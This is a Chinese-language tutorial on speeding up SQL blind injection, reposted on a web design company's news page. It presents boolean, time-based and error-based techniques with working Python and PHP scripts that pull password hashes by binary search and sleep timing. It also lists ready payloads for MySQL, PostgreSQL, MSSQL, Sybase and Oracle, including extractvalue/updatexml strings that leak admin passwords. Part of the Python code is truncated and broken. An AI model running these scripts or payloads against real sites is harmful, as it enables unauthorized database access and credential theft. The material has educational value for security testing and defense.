新聞中心
這篇文章主要寫了一些加快盲注速度的技巧和盲注中比較精巧的語(yǔ)句,雖然注入并不是什么新技術(shù)了。但是數(shù)據(jù)庫(kù)注入漏洞依然困擾著每一個(gè)安全廠商,也鞭策著每一個(gè)安全從業(yè)者不斷前進(jìn)。

創(chuàng)新互聯(lián)公司自2013年起,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目網(wǎng)站設(shè)計(jì)、做網(wǎng)站網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢(mèng)想脫穎而出為使命,1280元撫遠(yuǎn)做網(wǎng)站,已為上家服務(wù),為撫遠(yuǎn)各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:18980820575
[[111105]]
首先來(lái)簡(jiǎn)單介紹一下盲注,盲注是不能通過(guò)直接顯示的途徑來(lái)獲取數(shù)據(jù)庫(kù)數(shù)據(jù)的方法。在盲注中,攻擊者根據(jù)其返回頁(yè)面的不同來(lái)判斷信息(可能是頁(yè)面內(nèi)容的不同,也可以是響應(yīng)時(shí)間不同)。一般情況下,盲注可分為三類。
Booleanbase Timebase Errorbase
其中第一類Boolean就是我們最常接觸到的普通盲注。
比如在where語(yǔ)句中可以構(gòu)造or 1=1來(lái)使返回頁(yè)面不同。(這里用mysql演示一下,大家體會(huì)就好)
mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)
如果注入點(diǎn)在order by后面,那么則可以使用判斷語(yǔ)句來(lái)構(gòu)造報(bào)錯(cuò)。(其實(shí)order by后面的注入也可以根據(jù)返回結(jié)果的順序來(lái)判斷,這里自由發(fā)揮就好:P)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row
基于時(shí)間的盲注的話,mysql主要涉及兩個(gè)函數(shù),sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
基于報(bào)錯(cuò)的盲注,需要網(wǎng)站顯示數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息,后面會(huì)有詳細(xì)闡述。
知道了怎么判斷ture or false之后就是獲取數(shù)據(jù)了,當(dāng)然你可以暴力測(cè)試每一個(gè)ascii碼,不過(guò)這需要很多次嘗試,如果你家正巧網(wǎng)速不好那么速度將會(huì)是十分緩慢的。
拿32位hash為例,暴力猜解的話許要 16*32=512次查詢(因?yàn)閔ash一般是16進(jìn)制,只有16種可能)。如果是一段包含大小寫字母和特殊字符的32位字符串那?大概需要 72*32=2304次查詢,這就比較多了。想要減少盲注查詢的次數(shù),一般會(huì)用到如下幾種方法。
字頻統(tǒng)計(jì):
根據(jù)英文中字母出現(xiàn)的頻率進(jìn)行猜測(cè),這種方法僅局限于用戶名這樣有意義的字符串,并不能應(yīng)用于hash這樣的無(wú)規(guī)律字符串。而且僅限于純字母的猜測(cè)。wiki百科上有字母使用頻率的統(tǒng)計(jì)。
那么根據(jù)字頻統(tǒng)計(jì),e出現(xiàn)的概率最高,a其次,那我們就先猜測(cè)e,再猜測(cè)a。更近一步,我們可以使用雙字的字頻來(lái)進(jìn)一步提高效率,比如th在英文中出現(xiàn)的概率很高。那么在第一個(gè)字母是t之后,我們下個(gè)字符第一個(gè)猜測(cè)h。
ps.這種方法的效率有多高哪?只能說(shuō)看臉。
二分查找,位運(yùn)算法:
把他們兩個(gè)放在一起是因?yàn)樗麄兊淖饔檬窍嗤亩紩?huì)把試探字符串的次數(shù)降低到log(n)*length (n為可能字符的數(shù)量)。
首先來(lái)說(shuō)二分查找,它的原理是把可能出現(xiàn)的字符看做一個(gè)有序的序列,這樣在查找所要查找的元素時(shí),首先與序列中間的元素進(jìn)行比較,如果大于這個(gè)元素,就在當(dāng)前序列的后半部分繼續(xù)查找,如果小于這個(gè)元素,就在當(dāng)前序列的前半部分繼續(xù)查找,直到找到相同的元素,或者所查找的序列范圍為空為止。
使用而返查找確定一個(gè)hash散列的一位,只需要4次查詢(2^4=16),也就是說(shuō)確定一個(gè)32位hash,只需要126次請(qǐng)求,大大縮短了查詢的次數(shù)。
這里給出一個(gè)二分查找的pyhton源代碼
- import urllib
- import urllib2
- def doinject(payload):
- url = 'xxxxxxxxxxxxxxxxxxxxx'
- values = {'injection':payload,'inject':'Inject'}
- data = urllib.urlencode(values)
- #print data
- req = urllib2.Request(url, data)
- req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
- response = urllib2.urlopen(req)
- the_page = response.read()
- if (the_page.find("Welcome back")>0):
- return True
- else:
- return False
- wordlist = "0123456789ABCDEF"
- res = ""
- for i in range(1,33):
- s=0
- t=15
- while (s
- if (t-s==1):
- if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
- m=t
- break
- else:
- m=s
- break
- m=(s+t)/2
- if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
- s=m+1
- print wordlist[s]+":"+wordlist[t]
- else:
- t=m
- print wordlist[s]+":"+wordlist[t]
- res = res+wordlist[m]
- print res
- 這里還有使用正則表達(dá)式來(lái)進(jìn)行二分查找的php實(shí)現(xiàn)
- $sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
- $sPost = 'inject=Inject&injection=';
- $sCharset = 'ABCDEF0123456789';
- /* for every character */
- for ($i=0, $hash=''; $i<32; ++$i) {
- $ch = $sCharset;
- do {
- $ch1 = substr($ch, 0, intval(strlen($ch)/2));
- $ch2 = substr($ch, intval(strlen($ch)/2));
- $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
- $res = libHTTP::POST($sUrl, $p);
- if (strpos($res['content'], 'Your password is wrong') === false)
- $ch = $ch1;
- else
- $ch = $ch2;
- } while (strlen($ch) > 1);
- $hash .= $ch;
- echo "\rhash: ".$hash;
- }
ps:上面的代碼都是針對(duì)32位hash的盲注
再說(shuō)位運(yùn)算,它的原理是每次請(qǐng)求確定二進(jìn)制的一位,對(duì)于ascii碼連續(xù)的區(qū)間時(shí)間復(fù)雜度為log(n)*length,所以相對(duì)于二分查找,它應(yīng)用起來(lái)比較有局限性。
mysql中位運(yùn)算的與運(yùn)算是&,我們主要用它來(lái)進(jìn)行猜測(cè),比如a的ascii碼是1100001,那么我們可以使用1,2,4,8,16…..依次與他進(jìn)行與運(yùn)算,最終得到結(jié)果。
mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
| 1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
| 0 |
+--------------+
1 row in set (0.00 sec)
基于時(shí)間的盲注:
上面的方法,都是通過(guò)返回頁(yè)面的不同來(lái)獲取信息,所以理論上來(lái)說(shuō)每次,最多只能確定一個(gè)二進(jìn)制位(true or false)。但是,在盲注過(guò)程中還有一個(gè)重要的因素可以幫助我們獲取信息,那就是頁(yè)面返回時(shí)間的長(zhǎng)短。通過(guò)如下的語(yǔ)句,我們可以通過(guò)一次請(qǐng)求確定一個(gè)字符的ascii碼。如果是一串32位的hash,那么只需要32次請(qǐng)求,即可得到答案。
' or sleep(ord(substr(password,1,1))) --
利用語(yǔ)句一般可以寫成這樣
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)
推薦使用,sleep而不要使用benchmark,因?yàn)閟leep不會(huì)占用cpu而且比較穩(wěn)定。
下面給出一個(gè)針對(duì)32位hash的盲注算法
import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
values = {'injection':payload,'inject':'Inject'}
data = urllib.urlencode(values)
#print data
req = urllib2.Request(url, data)
req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
start = time()
response = urllib2.urlopen(req)
end = time()
#print response.read()
index = int(end-start)
print 'index:'+ str(index)
print 'char:' + wordlist[index-1]
return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
res = res+wordlist[num-1]
print res
這里還有注意一點(diǎn),sleep在where語(yǔ)句中會(huì)被計(jì)算多次,在實(shí)際應(yīng)用中需要根據(jù)表中的記錄數(shù),做相應(yīng)的處理。
比如有一個(gè)2個(gè)記錄的表
select count(*) from test;
+----------+
| count(*) |
+----------+
| 2 |
+----------+
如果直接查詢,因?yàn)閮蓚€(gè)記錄都會(huì)引發(fā)查詢所以會(huì)觸發(fā)兩次sleep()延遲12秒
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)
這里在前面使用一個(gè)條件語(yǔ)句,因?yàn)閍nd前面的表達(dá)式如果為false則后面的不執(zhí)行,所以sleep執(zhí)行一次,延遲6秒
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)
ps.這種方法很怕網(wǎng)絡(luò)不穩(wěn)定。
基于報(bào)錯(cuò)的盲注:
如果頁(yè)面上顯示數(shù)據(jù)的報(bào)錯(cuò)信息,那么可以直接使用報(bào)錯(cuò)的方式把想要的信息爆出來(lái)。
比如在mysql中我們可以使用如下的經(jīng)典語(yǔ)句進(jìn)行報(bào)錯(cuò)。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
這是網(wǎng)上流傳很廣的一個(gè)版本,可以簡(jiǎn)化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果關(guān)鍵的表被禁用了,可以使用這種形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用戶變量來(lái)報(bào)錯(cuò)
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其實(shí)這是mysql的一個(gè)bug所引起的,其他數(shù)據(jù)庫(kù)都不會(huì)因?yàn)檫@個(gè)問(wèn)題而報(bào)錯(cuò)。
另外,在mysql5.1版本新加入兩個(gè)xml函數(shù),也可以用來(lái)報(bào)錯(cuò)。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他數(shù)據(jù)庫(kù)中也可以使用不同的方法構(gòu)成報(bào)錯(cuò)
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
當(dāng)前題目:詳解SQL盲注測(cè)試高級(jí)技巧
文章出自:http://m.5511xx.com/article/dhjdjdh.html


咨詢
建站咨詢
